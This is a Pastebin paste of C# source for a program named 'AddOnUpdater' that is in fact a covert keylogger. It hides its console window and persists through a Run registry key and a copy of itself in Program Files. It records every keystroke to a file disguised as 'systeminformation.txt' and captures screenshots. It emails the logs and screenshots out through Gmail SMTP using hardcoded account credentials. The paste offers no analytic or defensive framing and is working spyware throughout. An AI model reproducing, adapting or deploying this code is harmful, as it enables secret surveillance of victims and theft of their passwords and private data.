Guest User

Untitled

a guest
Nov 22nd, 2018
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 6.23 KB | None | 0 0
  1. using Microsoft.Win32;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.Diagnostics;
  5. using System.Drawing;
  6. using System.Drawing.Imaging;
  7. using System.IO;
  8. using System.Net;
  9. using System.Runtime.InteropServices;
  10. using System.Text;
  11. using System.Text.RegularExpressions;
  12. using System.Windows.Forms;
  13.  
  14. namespace AddOnUpdater
  15. {
  16.     class Program
  17.     {
  18.         private const int WH_KEYBOARD_LL = 13;
  19.         private const int WM_KEYDOWN = 0x0100;
  20.         private static LowLevelKeyboardProc _proc = HookCallback;
  21.         private static IntPtr _hookID = IntPtr.Zero;
  22.         private static IntPtr SetHook(LowLevelKeyboardProc proc)
  23.         {
  24.             using (Process curProcess = Process.GetCurrentProcess())
  25.             using (ProcessModule curModule = curProcess.MainModule)
  26.             {
  27.                 return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  28.                 GetModuleHandle(curModule.ModuleName), 0);
  29.             }
  30.         }
  31.        
  32.  
  33.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  34.         private static extern IntPtr SetWindowsHookEx(int idHook,
  35.             LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  36.  
  37.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  38.         [return: MarshalAs(UnmanagedType.Bool)]
  39.         private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  40.  
  41.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  42.         private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  43.             IntPtr wParam, IntPtr lParam);
  44.  
  45.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  46.         private static extern IntPtr GetModuleHandle(string lpModuleName);
  47.  
  48.  
  49.         [DllImport("kernel32.dll")]
  50.         static extern IntPtr GetConsoleWindow();
  51.  
  52.         [DllImport("user32.dll")]
  53.         static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  54.  
  55.         const int SW_HIDE = 0;
  56.  
  57.         static void MailIt(string _startupMessage)
  58.         {
  59.             string _msg;
  60.             if (_startupMessage == "" | _startupMessage == null |
  61.                 _startupMessage == "nomsg")
  62.             {
  63.                 StreamReader sr = new StreamReader(@"C:\Program Files\systeminformation.txt");
  64.                 _msg = sr.ReadToEnd();
  65.                 sr.Close();
  66.             }
  67.             else
  68.                 _msg = _startupMessage;
  69.  
  70.             System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
  71.  
  72.             System.Net.NetworkCredential cred = new System.Net.NetworkCredential("sz.adam.87@gmail.com", "SzeretnedAGoogleJelszavamatMi?NemKapodMeg:D");
  73.  
  74.             mail.To.Add("sz.adam.87@gmail.com");
  75.             mail.Subject = "AddonUpdater Report";
  76.  
  77.             mail.From = new System.Net.Mail.MailAddress("sz.adam.87@gmail.com");
  78.             mail.IsBodyHtml = true;
  79.             mail.Body = _msg;
  80.             System.Net.Mail.Attachment mailAttachment =
  81.                 new System.Net.Mail.Attachment(@"C:\Program Files\attchmnt.jpg");
  82.             mail.Attachments.Add(mailAttachment);
  83.  
  84.             System.Net.Mail.SmtpClient smtp =
  85.                 new System.Net.Mail.SmtpClient("smtp.gmail.com");
  86.             smtp.UseDefaultCredentials = false;
  87.             smtp.EnableSsl = true;
  88.             smtp.Credentials = cred;
  89.             smtp.Port = 587;
  90.             smtp.Send(mail);
  91.         }
  92.  
  93.         static void Main(string[] args)
  94.         {
  95.             if (Registry.GetValue(
  96.                 @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  97.                 "AddonUpdater", null) == null)
  98.                 Registry.SetValue(
  99.                 @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  100.                 "AddOnUpdater", @"C:\Program Files\AddOnUpdater.exe");
  101.             if (!File.Exists(@"C:\Program Files\AddOnUpdater.exe"))
  102.                 File.Copy(Application.StartupPath + @"\AddOnUpdater.exe",
  103.                     @"C:\Program Files\AddOnUpdater.exe");
  104.  
  105.             if (!File.Exists(@"C:\Program Files\systeminformation.txt"))
  106.                 MailIt("Mission accomplished, we're in! :)");
  107.  
  108.  
  109.             var handle = GetConsoleWindow();
  110.  
  111.             ShowWindow(handle, SW_HIDE);
  112.  
  113.             _hookID = SetHook(_proc);
  114.             Application.Run();
  115.             UnhookWindowsHookEx(_hookID);
  116.         }
  117.  
  118.         private delegate IntPtr LowLevelKeyboardProc(
  119.         int nCode, IntPtr wParam, IntPtr lParam);
  120.  
  121.         private static IntPtr HookCallback(
  122.             int nCode, IntPtr wParam, IntPtr lParam)
  123.         {
  124.             if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  125.             {
  126.                 int vkCode = Marshal.ReadInt32(lParam);
  127.                 Console.WriteLine((Keys)vkCode);
  128.                 StreamWriter sw = new StreamWriter(@"C:\Program Files\systeminformation.txt", true);
  129.                 if (Regex.IsMatch(((Keys)vkCode).ToString(),@"Space"))
  130.                 {
  131.                     string _newKey = " ";
  132.                     sw.Write(_newKey);
  133.                     sw.Close();
  134.                 }
  135.                 else
  136.                 {
  137.                     sw.Write((Keys)vkCode);
  138.                     sw.Close();
  139.                 }
  140.                 StreamReader sr = new StreamReader(@"C:\Program Files\systeminformation.txt");
  141.                 string _counter = sr.ReadToEnd();
  142.                 sr.Close();
  143.                 if (_counter.Length >= 512)
  144.                 {
  145.                     int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
  146.                     int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
  147.                     Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
  148.                     Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
  149.                     gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
  150.                     bmpScreenShot.Save(@"C:\Program Files\attchmnt.jpg", ImageFormat.Jpeg);
  151.  
  152.                     MailIt("nomsg");
  153.  
  154.                     StreamWriter sw2 = new StreamWriter(@"C:\Program Files\systeminformation.txt");
  155.                     sw2.WriteLine("");
  156.                     sw2.Close();
  157.                 }
  158.             }
  159.             return CallNextHookEx(_hookID, nCode, wParam, lParam);
  160.  
  161.         }
  162.     }
  163. }
Add Comment
Please, Sign In to add comment